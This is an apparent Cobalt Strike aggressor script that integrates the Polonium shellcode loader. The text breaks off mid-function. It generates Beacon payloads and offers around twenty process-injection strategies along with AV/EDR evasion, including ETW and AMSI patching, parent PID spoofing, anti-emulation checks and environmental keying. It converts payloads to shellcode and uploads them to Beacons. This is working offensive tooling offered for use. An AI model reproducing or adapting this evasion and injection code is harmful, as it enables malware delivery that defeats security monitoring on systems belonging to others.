#
# Polonium integration aggressor script.
#
# Makes work with Polonium loader a bit easier and faster when used straight from Cobalt Strike's console.
#
# Author:
#   Mariusz Banach / mgeeky, '20
#   <mb [at] binary-offensive.com>
#   (https://github.com/mgeeky)
#

global('$POLONIUM_VERSION $SRDI_SCRIPT_PARAMETERS $DONUT_PARAMETERS $savedSettingsFile $defaultPoloniumOutputPath @strategies %polon::defaults $python $tempPayloadPath $poloniumApplyScriptPath $poloniumTemplateExeFile64 $poloniumTemplateExeFile86 $poloniumTemplateDllFile64 $poloniumTemplateDllFile86 $DEFAULT_SHELLCODE_COMPRESSION');


$savedSettingsFile          = script_resource("aggressive-polonium-config.conf");

#
# These will be fetched from external settings file ($savedSettingsFile)
#
$python                     = "";   # path to the python3 interpreter binary
$poloniumApplyScriptPath    = "";   # path to the Polonium's apply_polon_shellcode.py script.
$poloniumTemplateExeFile64  = "";   # path to the compiled x64 polon.exe template
$poloniumTemplateDllFile64  = "";   # path to the compiled x64 polon.dll template
$poloniumTemplateExeFile86  = "";   # path to the compiled x86 polon.exe template
$poloniumTemplateDllFile86  = "";   # path to the compiled x86 polon.dll template

$defaultPoloniumOutputPath  = script_resource(".");
$tempPayloadPath            = getFileProper($defaultPoloniumOutputPath, ".payload.##NUM##.bin");

# ==================================

$POLONIUM_VERSION = "[ver 0.6.10]";

$SRDI_SCRIPT_PARAMETERS = "-i";
$DONUT_PARAMETERS = "-z 5";
$DEFAULT_SHELLCODE_COMPRESSION = "lznt1";

# These defaults will be overwritten by those from file.
%polon::defaults["listener"] = "";
%polon::defaults["custom_payload"] = "";
%polon::defaults["arch"] = "x64";
%polon::defaults["format"] = "exe";
%polon::defaults["params"] = "";
%polon::defaults["outpath"] = $defaultPoloniumOutputPath;
%polon::defaults["env_internet"] = "false";
%polon::defaults["env_domainjoined"] = "true";
%polon::defaults["env_domain"] = "";
%polon::defaults["antiemulation"] = "";
%polon::defaults["injecttarget"] = "";
%polon::defaults["spawntarget"] = "";
%polon::defaults["delay"] = "";
%polon::defaults["killdate"] = "";
%polon::defaults["logfile"] = "";
%polon::defaults["ev_antisplicing"] = "false";
%polon::defaults["ev_blockdlls"] = "false";
%polon::defaults["ev_all"] = "false";
%polon::defaults["nocmdline"] = "true";
%polon::defaults["ev_patching"] = "false";
%polon::defaults["custom_payload"] = "";
%polon::defaults["output_mode"] = "normal";
%polon::defaults["embed_mode"] = "PE Section";
%polon::defaults["page_protection"] = "PAGE_EXECUTE_READWRITE";
%polon::defaults["fallback"] = "false";

@strategies = @(
    "0. Change buffer's page prot to RX and jump into shellcode",
    "1. (DEFAULT) Alloc RX buffer w/ VirtualAlloc and jump into shellcode",
    "2. NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + ZwCreateThreadEx",
    "3. NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtSetContextThread",
    "4. NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtQueueApcThreadEx",
    "5. NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + RtlCreateUserThread",
    "6. ZwCreateSection + NtMapViewOfSection(RX) + ZwCreateThreadEx/CreateThread",
    "7. ZwCreateSection + NtMapViewOfSection(RX) + NtSetContextThread",
    "8. ZwCreateSection + NtMapViewOfSection(RX) + NtQueueApcThread",
    "9. ZwCreateSection + NtMapViewOfSection(RX) + RtlCreateUserThread",
    "10. NtAllocateVirtualMemory(RX) + Atom Bombing + ZwCreateThreadEx",
    "11. NtAllocateVirtualMemory(RX) + Atom Bombing + NtSetContextThread",
    "12. NtAllocateVirtualMemory(RX) + Atom Bombing + NtQueueApcThreadEx",
    "13. NtAllocateVirtualMemory(RX) + Atom Bombing + RtlCreateUserThread",
    "14. NtAllocateVirtualMemory(RX) + Atom Bombing + PROPagate",
    "15. NtAllocateVirtualMemory + NtWriteVirtualMemory + PROPagate",
    "16. ZwCreateSection + NtMapViewOfSection(RX) + PROPagate",
    "17. PE Injection: Overwrites target's entry point bytes with the shellcode",
    "18. PE Injection: Allocates arbitrary RX page with shellcode and jumps"
);

%polon::defaults["strategy"] = @strategies[1];


sub full_usage {
    # ==============================================================================================

    local('$hlp');

    $hlp = "\n";
    $hlp .= "   +---------------------------------------------------------------------+\n";
    $hlp .= "   | :: Polonium - an extremely dangerous to humans radioactive metal.   |\n";
    $hlp .= "   |      __       Discovered in 1898 by a polish chemist, a first woman |\n";
    $hlp .= "   |      |_|      to earn Nobel Prize and still the only one to         |\n";
    $hlp .= "   |    84| []     accomplish that twice - Maria Sklodowska-Curie.       |\n";
    $hlp .= "   |                                                                     |\n";
    $hlp .= "   | This tool is a tribute to Maria's ingenuity and sacrifice for the   |\n";
    $hlp .= "   | scientific research she conducted. A term of radioactivity which    |\n";
    $hlp .= "   | she coined - costed her life, today saving millions of others.      |\n";
    $hlp .= "   +---------------------------------------------------------------------+\n";
    $hlp .= "\n";
    $hlp .= "   Windows process injection test-bench and an advanced shellcode-loader.\n";
    $hlp .= "   Aims to map evade AVs/EDRs and safely deliver your payload.\n";
    $hlp .= "\n";
    $hlp .= "   Mariusz Banach / mgeeky, '20         $POLONIUM_VERSION \n";
    $hlp .= "   <mb@binary-offensive.com>\n";
    $hlp .= "\n";
    $hlp .= "\n";
    $hlp .= "   Usage: polonium [options]\n";
    $hlp .= "\n";
    $hlp .= "Main options:\n";
    $hlp .= "    -Z                  Don't process arguments from command line, trust only embedded ones (section/overlay/retrieved) \n";
    $hlp .= "                        This option should be used embeded into Polon during generation or compilation in payload.h\n";
    $hlp .= "    -q                  Be quiet. No output.\n";
    $hlp .= "    -v                  Enables verbose output.\n";
    $hlp .= "    -l <logfile>        Redirect output to given log file. Stdout by default (or when '-' used).\n";
    $hlp .= "\n";
    $hlp .= "    -X <date>           Kill date. Do not run if past this date. [YYYY-MM-DD]\n";
    $hlp .= "\n";
    $hlp .= "    -L                  Lists running processes and exits. If combined with \"-v\" will return\n";
    $hlp .= "                        more detailed information such as if the process has any alertable thread (RISKY!)\n";
    $hlp .= "\n";
    $hlp .= "    -f <file>           Specifies a file path or HTTP(S) URL to the shellcode. If not given,\n";
    $hlp .= "                        will use hardcoded shellcode in `PayloadBytes` array. Can be also:\n";
    $hlp .= "                            \"a\" - Retrieve shellcode from executable's overlay\n";
    $hlp .= "                            \"b\" - Retrieve shellcode from additional PE section\n";
    $hlp .= "                        Input file will not be checked for the encryption marker 0xDEADBEEF as\n";
    $hlp .= "                        opposed to the hardcoded one, which must be ended like so.\n";
    $hlp .= "\n";
    $hlp .= "    -F                  If specified in -s <strategy> injection fails, fallback to another one. If original\n";
    $hlp .= "                        strategy targeted remote process injection, will try some other ones and if they all\n";
    $hlp .= "                        fail, falls back to self-injection thus acting as a loader: X -> 9 > 5 > 6 > 2 > 1.\n";
    $hlp .= "                        Respects what was given in (-i) option: if you insist on targeting e.g. explorer, will\n";
    $hlp .= "                        try over and over. IT IS SAFER to use '-F' in combination with '-i auto'.\n";
    $hlp .= "\n";
    $hlp .= "    -s <strategy>       Specifies which injection strategy to follow.\n";
    $hlp .= "                        Currently implemented:\n";
    $hlp .= "\n";
    $hlp .= "        +-------------------------------------------------------\n";
    $hlp .= "        | SELF ONLY INJECTIONS:\n";
    $hlp .= "        |       0 - Change buffer's page prot to RX and jump into shellcode\n";
    $hlp .= "        |\n";
    $hlp .= "        |       1 - (Default) Alloc RX buffer w/ VirtualAlloc and jump into shellcode. Preferred safest choice.\n";
    $hlp .= "        |\n";
    $hlp .= "        | SELF/REMOTE PROCESS INJECTIONS:\n";
    $hlp .= "        |       2 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + ZwCreateThreadEx\n";
    $hlp .= "        |           Self: VirtualAlloc(RX) + CreateThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       3 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtSetContextThread\n";
    $hlp .= "        |           Self: VirtualAlloc(RX) + NtSetContextThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       4 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + NtQueueApcThreadEx\n";
    $hlp .= "        |           Self: VirtualAlloc(RX) + NtQueueApcThreadEx\n";
    $hlp .= "        |\n";
    $hlp .= "        |       5 - Remote: NtAllocateVirtualMemory(RX) + NtWriteVirtualMemory + RtlCreateUserThread\n";
    $hlp .= "        |           Self: VirtualAlloc(RX) + RtlCreateUserThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       6 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + ZwCreateThreadEx\n";
    $hlp .= "        |           Self: ZwCreateSection + NtMapViewOfSection(RX) + CreateThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       7 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtSetContextThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       8 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + NtQueueApcThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |       9 - Self/Remote: ZwCreateSection + NtMapViewOfSection(RX) + RtlCreateUserThread\n";
    $hlp .= "        |\n";
    $hlp .= "        | REMOTE ONLY - UNSTABLE/UNRELIABLE ONES:\n";
    $hlp .= "        |      10 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + ZwCreateThreadEx\n";
    $hlp .= "        |\n";
    $hlp .= "        |      11 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtSetContextThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |      12 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + NtQueueApcThreadEx\n";
    $hlp .= "        |\n";
    $hlp .= "        |      13 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + RtlCreateUserThread\n";
    $hlp .= "        |\n";
    $hlp .= "        |      14 - Remote: NtAllocateVirtualMemory(RX) + Atom Bombing + PROPagate\n";
    $hlp .= "        |\n";
    $hlp .= "        |      15 - Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + PROPagate\n";
    $hlp .= "        |\n";
    $hlp .= "        |      16 - Remote: ZwCreateSection + NtMapViewOfSection(RX) + PROPagate\n";
    $hlp .= "        |\n";
    $hlp .= "        | PE INJECTIONS:\n";
    $hlp .= "        |      17 - Remote: Overwrites target's entry point bytes with the shellcode\n";
    $hlp .= "        |           (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target.\n";
    $hlp .= "        |\n";
    $hlp .= "        |      18 - Remote: Allocates arbitrary RX page with shellcode, inserts JMP at the OEP\n";
    $hlp .= "        |           pointing to that page. (NtAllocateVirtualMemory + NtWriteVirtualMemory). Kills target.\n";
    $hlp .= "        |\n";
    $hlp .= "        +-------------------------------------------------------\n";
    $hlp .= "\n";
    $hlp .= "                    Footnotes:\n";
    $hlp .= "                        a) SELF INJECTION techniques works by having the PE image\n";
    $hlp .= "                           responsible to invoke given shellcode either in it's own\n";
    $hlp .= "                           virtual memory space, or in a spawned child process,\n";
    $hlp .= "                           as specified in \"-i\".\n";
    $hlp .= "\n";
    $hlp .= "                        b) REMOTE PROCESS INJECTION techniques require to specify\n";
    $hlp .= "                           \"-i\" or \"-j\" paremeters. The former for the target process\n";
    $hlp .= "                           to inject into, the latter for target module as needed by\n";
    $hlp .= "                           specific strategies (e.g. Module Stomping).\n";
    $hlp .= "\n";
    $hlp .= "                        c) Techniques 13 and 14 follow the PROPagate code execution scheme.\n";
    $hlp .= "                           By default they target explorer.exe and any of it's exposed props.\n";
    $hlp .= "                           WARNING: They may crash the target!\n";
    $hlp .= "                           Implementation based on magnificent work of https://github.com/odzhan\n";
    $hlp .= "                           Use his `enumprop.exe` to find other candidate processes.\n";
    $hlp .= "\n";
    $hlp .= "                        d) Atom Bombing is a term coined by Tal Liberman, entailing combined use of\n";
    $hlp .= "                           GlobalGetAtomA and NtQueueApcThread to transfer payload's data into remote process\n";
    $hlp .= "                           memory. From that point all execution techniques apply.\n";
    $hlp .= "\n";
    $hlp .= "                        e) The PROPagate technique using Atom Bombing (14.) may be tricky to carry off.\n";
    $hlp .= "                           This is because the process must have an alertable thread available, which\n";
    $hlp .= "                           is a requirement for Atom Bombing and must export vulnerable known Window\n";
    $hlp .= "                           Property, which is in turn the requirement for PROPagate. Use \"-p auto\" to let\n";
    $hlp .= "                           the program find suitable target for it.\n";
    $hlp .= "\n";
    $hlp .= "                        f) Techniques involving ZwCreateThreadEx or RtlCreateUserThread will set\n";
    $hlp .= "                           the created thread's BaseAddress to ntdll!RtlUserThreadStart+0x21 and leave it suspended.\n";
    $hlp .= "                           Then NtSetContextThread will change the thread's context to let it execute our payload.\n";
    $hlp .= "                        g) Techniques based on NtSetContextThread are hijacking remote thread.\n";
    $hlp .= "                           This may kill the remote process or corrupt it's execution.\n";
    $hlp .= "\n";
    $hlp .= "    -P <protection>     Specifies alternative memory protection flag to be used during\n";
    $hlp .= "                        allocation step. By default we go with PAGE_EXECUTE_READ. Can be a hex value, \"RWX\", \"RX\",\n";
    $hlp .= "                        or a set of comma separater literal constants: e.g. PAGE_FOO,PAGE_BAR.\n";
    $hlp .= "\n";
    $hlp .= "    -i <imageName|PID>  Inject into running process based on it's image name or PID.\n";
    $hlp .= "                        If not specified, either will target self process, thus acting as a PE loader,\n";
    $hlp .= "                        or will inject into remote process of it's own PE executable.\n";
    $hlp .= "                        Can be a valid PID number or \"auto\" - to let the program find suitable target.\n";
    $hlp .= "\n";
    $hlp .= "    -j <path>           Chooses a target for suspended spawn and injection. Spawns self unless specified otherwise.\n";
    $hlp .= "                        Will look for a target image in: %SystemRoot%, %SystemRoot%\\System32 with/without .exe\n";
    $hlp .= "\n";
    $hlp .= "    -e <algo>           Payload encryption used. Can be: xor8, xor32. Default: No encryption.\n";
    $hlp .= "\n";
    $hlp .= "    -k <key>            Decryption key to use. Must be: 8bits, 32bits. Default: no key.\n";
    $hlp .= "\n";
    $hlp .= "    -Y                  Don't bind payload decryption key with measured time elapsed during Delay evasion.\n";
    $hlp .= "                        Will decrypt processed payload even if Delay returned prematurely, indicating Wait shortenings\n";
    $hlp .= "\n";
    $hlp .= "Evasion:\n";
    $hlp .= "    -a                  Enables all evasions. Let the program decide about delay, set\n";
    $hlp .= "                        parent as Explorer if possible, etc. Skips target process' PE wiping. Sets anti-emulation to 1.\n";
    $hlp .= "\n";
    $hlp .= "    -d <delay>          Introduces delay in seconds aiming to timeout AV emulators.\n";
    $hlp .= "                        Delay can be <num> for seconds, or one of the following techniques\n";
    $hlp .= "\n";
    $hlp .= "                        (they can be combined: -d abc ). Delay in form of <num> seconds can\n";
    $hlp .= "                        prevent the shellcode from executing, other options such as a,b,c are\n";
    $hlp .= "                        not preventing execution. They are just to introduce a delay.\n";
    $hlp .= "                             \"a\" - Offer you have to refuse. Enormous allocation.\n";
    $hlp .= "                             \"b\" - Estimates PI around 256 millions of times.\n";
    $hlp .= "                             \"c\" - Performs 30000 senseless AES256 encryptions & decryptions\n";
    $hlp .= "\n";
    $hlp .= "    -p <PID|process>    Enables Parent PID spoofing. As a parameter, use either\n";
    $hlp .= "                        PID or process name (explorer, explorer.exe). Use \"auto\" to\n";
    $hlp .= "                        let the program pick \"explorer.exe\" or find another target\n";
    $hlp .= "\n";
    $hlp .= "    -c <cmdline>        Enables process' command line spoofing. Parameter's value\n";
    $hlp .= "                        will be used as a process' command line filler.\n";
    $hlp .= "                        The tool will attempt to truncate it's cmdline anyway.\n";
    $hlp .= "\n";
    $hlp .= "    -w                  Spawns a child process, injects shellcode there and wipes child's PE headers  \n";
    $hlp .= "                        as well as attempts various other anti-dumping evasions.\n";
    $hlp .= "                             -w         Resorts to wiping PE headers only\n";
    $hlp .= "                             -w -w      Aggressively annihilates own child's (self) process memory. \n";
    $hlp .= "                                        This may crash the target, as it nukes the process' memory completely by leaving\n";
    $hlp .= "                                        only crumbs of the needed code in place. Only works in strategies 0 and 1. Hazardous!\n";
    $hlp .= "    \n";
    $hlp .= "\n";
    $hlp .= "    -b                  Enables Signature enforcement and block dynamic code mitigation\n";
    $hlp .= "                        policies on self process after executing the shellcode.\n";
    $hlp .= "                        This will make the loader's process protected while waiting for the\n";
    $hlp .= "                        shellcode to finish it's actions. WARNING: This may interfere with\n";
    $hlp .= "                        the shellcode itself! Test it before running on prod.\n";
    $hlp .= "\n";
    $hlp .= "    -r                  Attempts anti-splicing maneuvers to regain resolved imports\n";
    $hlp .= "                        integrity. Will try to un-hook used imports.\n";
    $hlp .= "\n";
    $hlp .= "    -x                  Enables anti-emulation tricks. Repeat for greater effect.\n";
    $hlp .= "                             -x         Basic anti-emulation tests. Should pass on VMs, with no user interaction\n";
    $hlp .= "                             -x -x      More thorough tests, will rule out VMs and run only if mild user activity is detected\n";
    $hlp .= "                             -x -x -x   All tests. Will run only on legitimate, frequently used workstations\n";
    $hlp .= "\n";
    $hlp .= "    -K <method>[,<param>]\n";
    $hlp .= "                        Turns on environmental keying type of checks, allowing launcher to\n";
    $hlp .= "                        execute the payload only when these sanity checks are satisfied. Can be repeated.\n";
    $hlp .= "                        Methods supported (comma acts as a parameters separator):\n";
    $hlp .= "                            1) Checks whether target machine is domain-joined:\n";
    $hlp .= "                                    -K domainjoined\n";
    $hlp .= "\n";
    $hlp .= "                            2) Checks if target machine is joined to one of specified domains\n";
    $hlp .= "                               (DNS FQDN, case insensitive, wildcards accepted ?, *):\n";
    $hlp .= "                                    -K domain,domain1.local[,domain2.local,...]\n";
    $hlp .= "\n";
    $hlp .= "                            3) Validates network connectivity by specifying HTTP(S) URL to fetch and optionally\n";
    $hlp .= "                               applies given regular expression on the response data to filter out honeypots.\n";
    $hlp .= "                               If no parameters given (-K internet) will use built-in URL & Regex settings.\n";
    $hlp .= "                                    -K internet,https://www.metaweather.com/api/location/44418/,air_pressure.+London\n";
    $hlp .= "\n";
    $hlp .= "                            4) Validates public IPv4 address of the target machine:\n";
    $hlp .= "                               applies given regular expression on the response data to filter out honeypots:\n";
    $hlp .= "                                    -K ip,1.2.3.4\n";
    $hlp .= "\n";
    $hlp .= "                            5) Validates current user name\n";
    $hlp .= "                                    -K username,john.doe\n";
    $hlp .= "\n";
    $hlp .= "    -g                  Apply domain-specific in-memory patches against optics such as ETW, AMSI and (in-future) other\n";
    $hlp .= "                        pattern-based detections by loading corresponding modules and patching their code (CAUTION!).\n";
    $hlp .= "\n";

    # ===========================================================================================================

    println("[Polon payload generator] Full Polonium usage:\n\n");
    println($hlp);
}

sub help {
    local('$msg');
    $msg = "";

    $msg .= "\n-s <strategy>     - Specifies which injection strategy to follow. Caveats apply:\n";
    $msg .= "    - Strategies 0 and 1 are only for loader-alike payload execution. No process injection will be done\n";
    $msg .= "    - Strategy 1 is the preferred safest choice.\n";
    $msg .= "    - Strategies <2-9> are Self/Remote ones, depending on the value of \"-i\" parameter\n";
    $msg .= "    - Strategies <10,16> are unstable/unreliable and may be unpredictable in resutls\n";
    $msg .= "    - Strategies using PROPagate are known to kill their targets on a seldom occassions\n";
    $msg .= "    - Strategies using Atom Bombing are highly unpredictable as they depend on alerted-threads\n";
    $msg .= "    - To use PROPagate strategy, it is recommended to choose \"-p auto\" as injection target\n";

    $msg .= "\n-i <imageName|PID>    - Inject target (use \"auto\" - to let the program find suitable target):\n";
    $msg .= "    Specifies target running process where to inject the Beacon. If not specified, either will target self process,\n";
    $msg .= "    thus acting as a shellcode loader, or will inject into remote process of it's own PE executable.\n";

    $msg .= "\n- Anti-Emulation options (CAUTION with that - may prevent running in legit machines):\n";
    $msg .= "    1. Basic anti-emulation tests. Should pass on VMs, with no user interaction\n";
    $msg .= "    2. More thorough tests, will rule out VMs and run in environment of mild user activity\n";
    $msg .= "    3. All tests. Will run only if user activity is detected and not running in VM\n";

    $msg .= "\n- Evasions:\n";
    $msg .= "    all: Enables all evasions. Let the program decide about delay, set parent as Explorer if possible, etc.\n";
    $msg .= "                   Skips target process' PE wiping. CAUTION with that - may prevent running in legit machines\n";
    $msg .= "    anti-splicing: Will try to un-hook used system imports, evading EDRs/AVs such as Cylance\n";
    $msg .= "    blockdlls: Blocks non-Microsoft DLLs from loading into the process after executing the shellcode.\n";
    $msg .= "    patching: Attempts to patch ETW and AMSI sinks, killing their optics. Tampers with memory, which may be detected!\n";

    $msg .= "\n-d <delay>      - Delay\n";
    $msg .= "    Delay can be <num> for seconds, or one of the following techniques (they can be combined: -d abc ).\n";
    $msg .= "    Delay in form of <num> seconds can prevent the shellcode from executing, while other options such\n";
    $msg .= "    as a,b,c are not preventing execution. They are just to introduce a delay.\n";
    $msg .= "        \"a\" - Offer you have to refuse. Enormous allocation.\n";
    $msg .= "        \"b\" - Estimates PI around 256 millions of times.\n";
    $msg .= "        \"c\" - Performs 30000 senseless AES256 encryptions & decryptions\n";

    show_message($msg);
}

sub write_payload {
    local('$path $data $handle');
    ($path, $data) = @_;

    println("Writing interim payload to $path");

    $handle = openf(">$path");
    writeb($handle, $data);
    closef($handle);
}

sub generate_polon {
    local('$cmd $payload $line $format $template $outpath $arch $params $p $logfile $output @out $format2 $srdiScript $maxTries $num $f');
    ($payload, $format, $template, $outpath, $arch, $params, $format2, $compress) = @_;
    
    if($format ismatch 'shellcode .+') {
        $outpath .= ".tmp";
    }

    $cmd = "$python \" $+ $poloniumApplyScriptPath $+ \" --format $format --output \" $+ $outpath $+ \" -- $+ $arch \" $+ $payload $+ \"";


    #if(($compress) && (strlen($compress) > 0)) {
    #    $cmd .= " --compress $compress";
    #}

    if(($template) && (strlen($template) > 0)) {
        $cmd .= " --exe \" $+ $template $+ \"";
    }

    if(($params) && (strlen($params) > 0)) {
        $params = replace($params, "\"", "\\\"");
        if(charAt($params, 0) eq " ") {
            $params = substr($params, 1);
        }
        $cmd .= " --parameters=\" $+ $params $+ \"";
    }

    $logfile = getFileProper([System getenv: "TEMP"], "apply_polon_shellcode.log");
    if(-exists $logfile) {
        deleteFile($logfile);
    }

    $cmd .= " --logfile \" $+ $logfile $+ \" ";

    println("[Polon payload generator] Shellcode apply command: $cmd");

    exec($cmd);

    $output = "";
    $maxTries = 10;
    $num = 0;

    while ($num < $maxTries) 
    {
        sleep(1000);
        try {
            $f = openf($logfile);
            $output = readb($f, -1);

            if ($output is $null) {
                throw "Read empty file";
            }
            closef($f);

            if (($output hasmatch '\[\+\] Done') || ($output hasmatch '\[\!\] ')){
                break;
            }
        }
        catch $message { 
            continue;
        }

        $num += 1;
        #println("Waiting for output from Polonium generator...");
    }

    println("[Polon payload generator] Results:\n" . $output );

    if(!-exists $outpath) {
        prompt_text("Something went wrong and resulting artefact could not be generated! Issued command line:", $cmd, {});
        return 1;
    }

    if(($output !hasmatch '\[\+\] Done\.') || ($output !hasmatch '\[\+\] Written \d+ bytes to the output file'))
    {
        openScriptConsole();
        prompt_text("Polonium could not be generated! Review Script Console for more details. Issued command line:", $cmd, {});
        return 1;
    }

    println("\nGenerating Shellcode out of pre-built Polonium DLL...");

    if($format2 eq "shellcode (sRDI python)") 
    {
        $srdiScript = getFileProper(getFileParent($poloniumApplyScriptPath), "ConvertToShellcode.py");
        $srdiScript = ["$srdiScript" trim];

        if (!-exists $srdiScript) {
            show_error("FAILURE!\nA folder that contained " . getFileName($poloniumApplyScriptPath) . " script did not contain sRDI's scripts (ConvertToShellcode.py)!\nWe were looking for this script in:\n $srdiScript");
            return 1;
        }

        $cmd = "$python \" $+ $srdiScript $+ \" -f Launch -u \" $+ $params $+ \" $SRDI_SCRIPT_PARAMETERS $outpath";

        $p = exec($cmd);
        @out = readAll($p);
        closef($p);

        println("Converted input PE DLL to shellcode via sRDI:\n\t $cmd");

        deleteFile($outpath);
        $outpath = replace($outpath, ".dll.tmp", ".bin");
        $inpath = $outpath . ".tmp";
        rename($inpath, $outpath);
    }
    else if($format2 eq "shellcode (pe2shc.exe)") 
    {
        $srdiScript = getFileProper(getFileParent($poloniumApplyScriptPath), "pe2shc.exe");
        $srdiScript = ["$srdiScript" trim];

        if (!-exists $srdiScript) {
            show_error("FAILURE!\nA folder that contained " . getFileName($poloniumApplyScriptPath) . " script did not contain pe2shc.exe utility!\nWe were looking for this utility in:\n $srdiScript");
            return 1;
        }

        $inpath = $outpath;
        $outpath = replace($outpath, ".dll.tmp", ".bin");
        $outpath = replace($outpath, ".exe.tmp", ".bin");

        $cmd = "\" $+ $srdiScript $+ \" \" $+ $inpath $+ \" \" $+ $outpath $+ \"";

        $p = exec($cmd);
        @out = readAll($p);
        closef($p);

        println("Converted input PE DLL to shellcode via pe2shc.exe:\n\t $cmd");
        deleteFile($inpath);
    }
    else if($format2 eq "shellcode (Donut.exe)") 
    {
        $srdiScript = getFileProper(getFileParent($poloniumApplyScriptPath), "donut.exe");
        $srdiScript = ["$srdiScript" trim];

        if (!-exists $srdiScript) {
            show_error("FAILURE!\nA folder that contained " . getFileName($poloniumApplyScriptPath) . " script did not contain pe2shc.exe utility!\nWe were looking for this utility in:\n $srdiScript");
            return 1;
        }

        $inpath = $outpath;
        $inpath .= ".dll";
        rename($outpath, $inpath);

        $outpath = replace($outpath, ".dll.tmp", ".bin");
        $outpath = replace($outpath, ".exe.tmp", ".bin");
        $donutArch = "-a ";

        if ($arch eq "x86") {
            $donutArch .= "1";
        } 
        else {
            $donutArch .= "2";
        }

        $donutParams = "-m Launch -p \" $+ $params $+ \"";

        $cmd = "\" $+ $srdiScript $+ \" $donutParams $DONUT_PARAMETERS $donutArch -o \" $+ $outpath $+ \" \" $+ $inpath $+ \"";

        $p = exec($cmd);
        @out = readAll($p);
        closef($p);

        println("Converted input PE DLL to shellcode via Donut.exe:\n\t $cmd");
        deleteFile($inpath);
    }

    return 0;
}

sub safeAppend {
    local('$additionalparams $params $prefix $newparam');
    ($additionalparams, $params, $newparam) = @_;

    if(strlen($newparam) >= 3) {
        $prefix = substr($newparam, 0, 3);
        if(($additionalparams) && (strlen($additionalparams) > 0) ) {
            if (indexOf($additionalparams, $prefix) == $null) {
                return $params . $newparam;
            }
        }
        else {
            return $params . $newparam;
        }
    }

    return $params;
}

sub uploadPolonCallback
{
    local('$button %options $bid $destpath $content $f $message $localpath');

    $button = $2;
    %options = $3;
    $localpath = %options["sourcepath"];
    $destpath = %options["destpath"];
    $bid = %options["bid"];

    if($localpath is $null || strlen($localpath) == 0) {
        show_error("You must specify source path with the payload to upload!");
        return;
    }

    if($destpath is $null || strlen($destpath) == 0) {
        show_error("You must specify destination path where to upload the payload!");
        return;
    }

    try {
        $f = openf($localpath);
        $content = readb($f, -1);
        if($content is $null) {
            throw "Read empty file";
        }
        closef($f);
    }
    catch $message { 
        berror($bid, "Could not read contents of file to upload. Error: $message");
        return;
    }

    if (("protect" in keys(%options)) && (%options["protect"] eq "true")) {
        blog($bid, "Processing generated Polonium output with ProtectMyTooling before uploading.");
        fireAlias($bid, "protected-upload", "\" $+ $localpath $+ \" \" $+ $destpath $+ \"")
    }
    else {
        bupload_raw($bid, $destpath, $content);
    }
}

sub uploadPolon
{
    local('$dialog $polonPath %options');

    $polonPath = $1;
    %options = %();
    %options["sourcepath"] = $polonPath;
    %options["destpath"] = getFileName($polonPath);

    $dialog = dialog("Upload generated Polonium payload", %options, &uploadPolonCallback);
    
    dialog_description($dialog, "Uploads generated Polonium payload to the specified Beacon with a specified name.");

    drow_beacon($dialog, "bid", "Beacon to use: ");
    drow_text($dialog, "sourcepath", "Source file to upload: ");
    drow_text($dialog, "destpath", "Destination path to upload: ");

    if(("protected-upload" in beacon_commands()) && ("protected-execute-assembly" in beacon_commands())) {
        drow_checkbox($dialog, "protect", "[ProtectMyTooling] Protect generated executable before uploading: ", "Protect");
    }

    dbutton_action($dialog, "Upload");
    dialog_show($dialog);
}

sub verifyPayload {
    local('$f $payloadpath $content $message');
    $payloadpath = $1;

    if(!-exists $payloadpath) {
        show_error("Specified payload file does not exist - cannot continue.\nFile: $payloadpath");
        return 1;
    }

    try {
        $f = openf($payloadpath);
        $content = readb($f, -1);
        if($content is $null) {
            show_error("Specified payload file was empty\nFile: $payloadpath");
            return 1;
        }
        closef($f);
    }
    catch $message { 
        show_error("Specified payload file could not be read: $message .\nFile: $payloadpath");
        return 1;
    }

    return 0;
}

sub generate 
{
    local('$removePayloadFile $button $embed_mode $name $num $params $arch $template $outpolon $payload $payloadpath %options $name2');

    $button = $2;
    %options = $3;

    if ($button eq "Help") {
        help();
        return;
    }
    else if ($button eq "Full usage") {
        show_message("See full Polonium usage in Script Console tab.");
        openScriptConsole();
        full_usage();
        return;
    }

    if((%options["embed_mode"] eq "Overlay") && (%options["format"] eq "dll")) {
        prompt_confirm("You've selected Overlay as embed mode and DLL as file type. This is extremely risky approach, as typically when Windows Image loader maps EXE/DLL modules into virtual memory, it skips overlay area of the file. Therefore overlay contents will never be fetched by Polonium from it's memory during runtime.\n\nWhen generating DLL artefacts, PE Section embedding approach is much safer.\n\nDo you want to stop Polonium generation and change options to embed Beacon into DLL's PE section instead?", "DLL and Overlay are not a good match", lambda({
            
        }));
    }

    if(%options["generate_what"] eq "beacon" && (listener_info(%options["listener"]) is $null)) {
        show_error("No such listener exists: " . %options["listener"]);
        return;
    }

    $params = %options["params"];
    $strategyNum = 1;

    if((strlen(%options["strategy"]) > 0) && (indexOf($params, " -s ") is $null)) {
        $strategyNum = split('\.', %options["strategy"])[0];
        $params = safeAppend(%options["params"], $params, " -s $strategyNum");
    }

    if(strlen(%options["killdate"]) > 0) {
        if(%options["killdate"] ismatch '(2[0-9]{3})-([0-9]{2})-([0-9]{2})') {
            $params = safeAppend(%options["params"], $params, " -X " . %options["killdate"]);
        }
        else {
            show_error("Specified killdate is not in correct format YYYY-MM-DD: " . %options["killdate"]);
            return;
        }
    }

    if((strlen(%options["injecttarget"]) > 0) && (strlen(%options["spawntarget"]) > 0))
    {
